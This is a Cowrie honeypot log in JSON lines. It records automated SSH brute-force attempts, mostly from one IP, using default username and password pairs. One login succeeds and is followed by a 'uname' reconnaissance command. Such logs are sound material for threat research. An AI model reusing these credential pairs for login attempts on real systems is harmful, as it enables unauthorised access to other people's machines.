{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:56.334774Z","src_ip":"91.92.42.227","session":"54c308fef22f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"test","message":"login attempt [appuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:57.192481Z","src_ip":"91.92.42.227","session":"54c308fef22f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:29:58.297578Z","src_ip":"91.92.42.227","session":"54c308fef22f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48956,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d6fc828b4b8","protocol":"ssh","message":"New connection: 91.92.42.227:48956 (10.17.0.5:22) [session: 4d6fc828b4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:03.232940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:03.548882Z","src_ip":"91.92.42.227","session":"4d6fc828b4b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:03.552456Z","src_ip":"91.92.42.227","session":"4d6fc828b4b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345678","message":"login attempt [deployer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:05.683651Z","src_ip":"91.92.42.227","session":"4d6fc828b4b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:07.081673Z","src_ip":"91.92.42.227","session":"4d6fc828b4b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52962,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2f3b4a5131","protocol":"ssh","message":"New connection: 91.92.42.227:52962 (10.17.0.5:22) [session: 3f2f3b4a5131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:10.646474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:10.970312Z","src_ip":"91.92.42.227","session":"3f2f3b4a5131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:10.973428Z","src_ip":"91.92.42.227","session":"3f2f3b4a5131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:12.844078Z","src_ip":"91.92.42.227","session":"3f2f3b4a5131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:14.852999Z","src_ip":"91.92.42.227","session":"3f2f3b4a5131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.58013606071472,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:14.970159Z","src_ip":"107.6.151.170","session":"8e4567f30569","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47802,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a56267cfba8","protocol":"ssh","message":"New connection: 91.92.42.227:47802 (10.17.0.5:22) [session: 7a56267cfba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:17.078791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:17.619723Z","src_ip":"91.92.42.227","session":"7a56267cfba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:17.623275Z","src_ip":"91.92.42.227","session":"7a56267cfba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"1qaz2wsx","message":"login attempt [system/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:20.779542Z","src_ip":"91.92.42.227","session":"7a56267cfba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.648775100708008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:21.197180Z","src_ip":"18.162.112.209","session":"cd52213d139c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:22.579978Z","src_ip":"91.92.42.227","session":"7a56267cfba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47860,"dst_ip":"10.17.0.5","dst_port":22,"session":"b74066467e13","protocol":"ssh","message":"New connection: 91.92.42.227:47860 (10.17.0.5:22) [session: b74066467e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:23.627584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:24.321800Z","src_ip":"91.92.42.227","session":"b74066467e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:24.329348Z","src_ip":"91.92.42.227","session":"b74066467e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.6741201877594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:26.105550Z","src_ip":"172.81.62.90","session":"ac1d3ed325a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:27.741940Z","src_ip":"91.92.42.227","session":"b74066467e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:29.140650Z","src_ip":"91.92.42.227","session":"b74066467e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50722,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ee89fe789fb","protocol":"ssh","message":"New connection: 91.92.42.227:50722 (10.17.0.5:22) [session: 8ee89fe789fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:32.377043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:32.452513Z","src_ip":"91.92.42.227","session":"8ee89fe789fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:32.521334Z","src_ip":"91.92.42.227","session":"8ee89fe789fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo","message":"login attempt [odoo18/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:32.880038Z","src_ip":"91.92.42.227","session":"8ee89fe789fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:34.024717Z","src_ip":"91.92.42.227","session":"8ee89fe789fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40340,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7e366e54358","protocol":"ssh","message":"New connection: 91.92.42.227:40340 (10.17.0.5:22) [session: e7e366e54358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:39.183567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:39.216398Z","src_ip":"91.92.42.227","session":"e7e366e54358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:39.283622Z","src_ip":"91.92.42.227","session":"e7e366e54358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:39.771757Z","src_ip":"91.92.42.227","session":"e7e366e54358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:41.148387Z","src_ip":"91.92.42.227","session":"e7e366e54358","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55924,"dst_ip":"10.17.0.5","dst_port":22,"session":"1411423904c7","protocol":"ssh","message":"New connection: 91.92.42.227:55924 (10.17.0.5:22) [session: 1411423904c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:45.433801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:45.776325Z","src_ip":"91.92.42.227","session":"1411423904c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:45.778828Z","src_ip":"91.92.42.227","session":"1411423904c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56186,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6b3ec80787e","protocol":"telnet","message":"New connection: 128.199.8.54:56186 (159.203.135.109:23) [session: b6b3ec80787e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:45.952065Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:47.546163Z","src_ip":"91.92.42.227","session":"1411423904c7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:48.444047Z","src_ip":"91.92.42.227","session":"1411423904c7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:48.447309Z","src_ip":"91.92.42.227","session":"1411423904c7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:49.340869Z","src_ip":"91.92.42.227","session":"1411423904c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:49.345692Z","src_ip":"91.92.42.227","session":"1411423904c7","protocol":"ssh"}
